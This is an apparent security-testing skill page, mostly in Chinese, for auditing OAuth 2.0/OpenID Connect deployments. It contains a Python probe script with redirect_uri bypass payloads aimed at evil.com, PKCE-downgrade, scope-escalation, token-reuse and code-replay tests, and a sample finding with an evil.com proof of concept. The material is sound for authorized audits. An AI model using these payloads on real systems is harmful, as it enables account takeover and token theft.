Tests OAuth 2.0 and OpenID Connect implementations for flaws like redirect URI manipulation, CSRF, token leakage, scope elevation, and PKCE bypass. For security audits of auth servers and client apps.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
- 评估 OAuth 2.0 授权码流程中重定向 URI 校验的薄弱环节
Tests OAuth 2.0 and OpenID Connect implementations for security flaws like authorization code interception, redirect URI manipulation, CSRF, token leakage, scope escalation, and PKCE bypass. Useful for OAuth security audits with Python scripts and Burp Suite.
Tests OAuth 2.0 and OpenID Connect implementations for flaws including code interception, redirect manipulation, CSRF, token leakage, scope escalation, and PKCE bypass using Python scripts and Burp Suite.
Identifies and exploits OAuth 2.0/OIDC misconfigurations like redirect URI manipulation, token leakage, and auth code theft during web app pentests.
Share bugs, ideas, or general feedback.
不适用于未经书面授权的情况。OAuth 测试可能导致令牌窃取或未授权访问。
requests 和 oauthlib 库import requests
import urllib.parse
import re
import hashlib
import base64
import secrets
AUTH_SERVER = "https://auth.example.com"
CLIENT_ID = "test-client-id"
REDIRECT_URI = "https://app.example.com/callback"
SCOPE = "openid profile email"
# 发现 OAuth 端点
well_known = requests.get(f"{AUTH_SERVER}/.well-known/openid-configuration")
if well_known.status_code == 200:
config = well_known.json()
print("OAuth/OIDC 配置:")
print(f" 授权端点: {config.get('authorization_endpoint')}")
print(f" 令牌端点: {config.get('token_endpoint')}")
print(f" 用户信息端点: {config.get('userinfo_endpoint')}")
print(f" JWKS: {config.get('jwks_uri')}")
print(f" 支持的授权类型: {config.get('grant_types_supported')}")
print(f" 支持的 scope: {config.get('scopes_supported')}")
print(f" PKCE 方法: {config.get('code_challenge_methods_supported')}")
auth_endpoint = config['authorization_endpoint']
token_endpoint = config['token_endpoint']
else:
# 尝试常见路径
for path in ["/authorize", "/oauth/authorize", "/oauth2/authorize", "/auth"]:
resp = requests.get(f"{AUTH_SERVER}{path}", allow_redirects=False)
if resp.status_code in (302, 400):
print(f"发现授权端点: {AUTH_SERVER}{path}")
auth_endpoint = f"{AUTH_SERVER}{path}"
break
# 测试 redirect_uri 校验严格程度
REDIRECT_BYPASS_PAYLOADS = [
# 开放重定向变体
REDIRECT_URI, # 合法值
"https://evil.com", # 不同域名
"https://app.example.com.evil.com/callback", # 攻击者子域名
"https://app.example.com@evil.com/callback", # URL authority 混淆
f"{REDIRECT_URI}/../../../evil.com", # 路径遍历
f"{REDIRECT_URI}?next=https://evil.com", # 参数注入
f"{REDIRECT_URI}#https://evil.com", # 片段注入
f"{REDIRECT_URI}%23evil.com", # 编码片段
"https://app.example.com/callback/../../evil", # 相对路径
"https://APP.EXAMPLE.COM/callback", # 大小写变体
"https://app.example.com/Callback", # 路径大小写变体
"https://app.example.com/callback/", # 末尾斜杠
"https://app.example.com/callback?", # 末尾问号
"http://app.example.com/callback", # HTTP 降级
"https://app.example.com:443/callback", # 显式端口
"https://app.example.com:8443/callback", # 不同端口
f"{REDIRECT_URI}/.evil.com", # 点号段
"https://app.example.com/callbackevil", # 路径前缀匹配
"javascript://app.example.com/callback%0aalert(1)", # JavaScript 协议
]
print("=== 重定向 URI 校验测试 ===\n")
for redirect in REDIRECT_BYPASS_PAYLOADS:
params = {
"response_type": "code",
"client_id": CLIENT_ID,
"redirect_uri": redirect,
"scope": SCOPE,
"state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=params, allow_redirects=False)
if resp.status_code == 302:
location = resp.headers.get("Location", "")
if "code=" in location or redirect in location:
status = "已接受"
if redirect != REDIRECT_URI:
print(f" [存在漏洞] {redirect[:70]} -> 重定向已被接受")
else:
status = "已重定向"
elif resp.status_code == 400:
status = "已拒绝"
else:
status = f"HTTP {resp.status_code}"
if redirect == REDIRECT_URI:
print(f" [基准] {redirect[:70]} -> {status}")
# 测试 1:缺少 state 参数
params_no_state = {
"response_type": "code",
"client_id": CLIENT_ID,
"redirect_uri": REDIRECT_URI,
"scope": SCOPE,
}
resp = requests.get(auth_endpoint, params=params_no_state, allow_redirects=False)
if resp.status_code == 302 and "code=" in resp.headers.get("Location", ""):
print("[CSRF] 授权码在没有 state 参数的情况下被颁发")
# 测试 2:state 参数复用
state_value = "fixed_state_value_123"
# 对多个授权请求使用相同的 state
for i in range(3):
params = {**params_no_state, "state": state_value}
resp = requests.get(auth_endpoint, params=params, allow_redirects=False)
if resp.status_code == 302:
location = resp.headers.get("Location", "")
returned_state = urllib.parse.parse_qs(
urllib.parse.urlparse(location).query).get("state", [None])[0]
if returned_state == state_value:
print(f"[信息] 第 {i+1} 次尝试时接受了相同的 state(请检查客户端校验)")
# 测试 3:不进行 state 校验的令牌交换(客户端检查)
# 拦截回调并尝试在不带 state 的情况下交换授权码
print("\n注意: state 校验是客户端行为,请验证回调处理器在交换授权码前是否校验了 state。")
# 测试是否强制要求 PKCE(Proof Key for Code Exchange,代码交换证明密钥)
# 生成 PKCE 值
code_verifier = secrets.token_urlsafe(64)[:128]
code_challenge = base64.urlsafe_b64encode(
hashlib.sha256(code_verifier.encode()).digest()
).decode().rstrip('=')
# 测试 1:不带 PKCE 的授权请求
params_no_pkce = {
"response_type": "code",
"client_id": CLIENT_ID,
"redirect_uri": REDIRECT_URI,
"scope": SCOPE,
"state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=params_no_pkce, allow_redirects=False)
if resp.status_code == 302 and "code=" in resp.headers.get("Location", ""):
print("[PKCE] 未携带 code_challenge 即颁发了授权码")
# 测试 2:不带 code_verifier 的令牌交换
auth_code = "captured_auth_code" # 从拦截中获取
token_resp = requests.post(token_endpoint, data={
"grant_type": "authorization_code",
"code": auth_code,
"redirect_uri": REDIRECT_URI,
"client_id": CLIENT_ID,
# 不携带 code_verifier
})
if token_resp.status_code == 200:
print("[PKCE] 未携带 code_verifier 即颁发了令牌——PKCE 未被强制执行")
# 测试 3:使用错误的 code_verifier 进行令牌交换
token_resp = requests.post(token_endpoint, data={
"grant_type": "authorization_code",
"code": auth_code,
"redirect_uri": REDIRECT_URI,
"client_id": CLIENT_ID,
"code_verifier": "wrong_verifier_value_that_does_not_match",
})
if token_resp.status_code == 200:
print("[PKCE] 使用错误的 code_verifier 仍颁发了令牌——PKCE 校验已损坏")
# 测试 4:从 S256 降级为 plain 方法
params_plain_pkce = {
**params_no_pkce,
"code_challenge": code_verifier, # plain 方法中 challenge 即为 verifier 本身
"code_challenge_method": "plain",
}
resp = requests.get(auth_endpoint, params=params_plain_pkce, allow_redirects=False)
if resp.status_code == 302:
print("[PKCE] 接受了 plain challenge 方法——存在拦截风险")
# 测试 1:请求超出已注册范围的额外 scope
elevated_scopes = [
"openid profile email admin",
"openid profile email write:users",
"openid profile email delete:*",
"openid profile email admin:full",
"*",
]
for scope in elevated_scopes:
params = {
"response_type": "code",
"client_id": CLIENT_ID,
"redirect_uri": REDIRECT_URI,
"scope": scope,
"state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=params, allow_redirects=False)
if resp.status_code == 302:
location = resp.headers.get("Location", "")
if "code=" in location:
print(f"[SCOPE] 提升的 scope 已被接受: {scope}")
# 测试 2:跨客户端令牌复用
# 将客户端 A 的令牌用于客户端 B 的 API
token_a = "access_token_from_client_a"
resp = requests.get("https://other-service.example.com/api/resource",
headers={"Authorization": f"Bearer {token_a}"})
if resp.status_code == 200:
print("[令牌] 客户端 A 的令牌被其他服务接受(未校验 audience)")
# 测试 3:刷新令牌窃取与复用
refresh_token = "captured_refresh_token"
# 尝试用不同的 client_id 使用刷新令牌
token_resp = requests.post(token_endpoint, data={
"grant_type": "refresh_token",
"refresh_token": refresh_token,
"client_id": "different-client-id",
})
if token_resp.status_code == 200:
print("[令牌] 刷新令牌被不同客户端接受——令牌未绑定到特定客户端")
# 测试是否启用了隐式流程(根据 OAuth 2.1 应禁用)
implicit_params = {
"response_type": "token",
"client_id": CLIENT_ID,
"redirect_uri": REDIRECT_URI,
"scope": SCOPE,
"state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=implicit_params, allow_redirects=False)
if resp.status_code == 302:
location = resp.headers.get("Location", "")
if "access_token=" in location:
print("[隐式流程] 隐式流程已启用——令牌出现在 URL 片段中(已废弃/不安全)")
# 通过 Referer 头部检查令牌泄露
print("\n令牌泄露检查:")
print(" - 检查访问令牌是否出现在 URL 查询参数中")
print(" - 检查令牌是否被记录在服务器访问日志中")
print(" - 检查含授权码的回调 URL 是否被浏览器缓存")
print(" - 检查授权码是否为一次性使用(重放测试)")
# 授权码重放测试
auth_code_to_replay = "captured_auth_code"
for attempt in range(3):
token_resp = requests.post(token_endpoint, data={
"grant_type": "authorization_code",
"code": auth_code_to_replay,
"redirect_uri": REDIRECT_URI,
"client_id": CLIENT_ID,
"client_secret": "client_secret_value",
})
print(f" 授权码重放尝试 {attempt+1}: {token_resp.status_code}")
if attempt > 0 and token_resp.status_code == 200:
print(" [存在漏洞] 授权码不是一次性使用")
| 术语 | 定义 |
|---|---|
| 授权码流程(Authorization Code Flow) | OAuth 2.0 流程,客户端通过重定向接收授权码,再在令牌端点将其交换为令牌 |
| PKCE | Proof Key for Code Exchange(代码交换证明密钥)——通过 code verifier/challenge 将授权请求与令牌请求绑定,防止授权码拦截攻击 |
| 重定向 URI 校验(Redirect URI Validation) | 授权服务器验证 redirect_uri 与注册值完全匹配,防止通过开放重定向窃取授权码/令牌 |
| State 参数 | 在授权请求中传递的随机值,在回调中进行验证,以防止对 OAuth 流程的 CSRF 攻击 |
| Scope 提升(Scope Escalation) | 请求或获取超出客户端授权范围的权限(scope),从而实现未授权访问 |
| 隐式流程(Implicit Flow) | 已废弃的 OAuth 流程,令牌直接出现在 URL 片段中,易遭受令牌泄露和重放攻击 |
场景背景:某 Web 应用使用 OAuth 2.0 授权码流程实现了"使用 Google 登录"和"使用 GitHub 登录"功能。该应用是一个 SaaS 平台,账户接管具有较高业务影响。
方法:
/.well-known/openid-configuration OAuth 配置https://app.example.com/callback,但服务器接受了 https://app.example.com/callback/..%2fevilopenid profile email,但授权服务器在未明确授权的情况下也授予了 read:repos常见陷阱:
## 发现:OAuth2 重定向 URI 绕过导致授权码被窃取
**ID**: API-OAUTH-001
**严重程度**: 严重 (CVSS 9.3)
**受影响组件**: OAuth 2.0 授权码流程
**授权服务器**: auth.example.com
**描述**:
授权服务器的 redirect_uri 校验使用前缀匹配而非精确字符串匹配。
攻击者可操控 redirect_uri,将授权码重定向到攻击者控制的端点,
从而实现账户接管。此外,PKCE 未被强制执行,客户端应用也未校验 state 参数。
**概念验证**:
1. 构造含操控 redirect_uri 的授权 URL:
https://auth.example.com/authorize?response_type=code&client_id=app
&redirect_uri=https://app.example.com/callback/../../../evil.com
&scope=openid+profile+email&state=abc123
2. 用户进行身份验证并批准授权
3. 授权码被重定向至 https://evil.com?code=AUTH_CODE&state=abc123
4. 攻击者在令牌端点交换授权码(无需 PKCE)
5. 攻击者获取受害者账户的访问令牌和 ID 令牌
**影响**:
任何点击精心构造的 OAuth 登录链接的用户均可遭受完整账户接管。
攻击者将获得对用户资料、邮箱及 OAuth scope 授权访问的所有资源的完整控制权。
**修复建议**:
1. 对 redirect_uri 实施精确字符串匹配(无通配符,无前缀匹配)
2. 对所有授权码流程请求强制要求 PKCE(S256 方法)
3. 在回调处理器中交换授权码前校验 state 参数
4. 在授权服务器上禁用隐式流程
5. 强制授权码为一次性使用,并设置较短的 TTL(最多 60 秒)
6. 在接受令牌前校验 audience (aud) 声明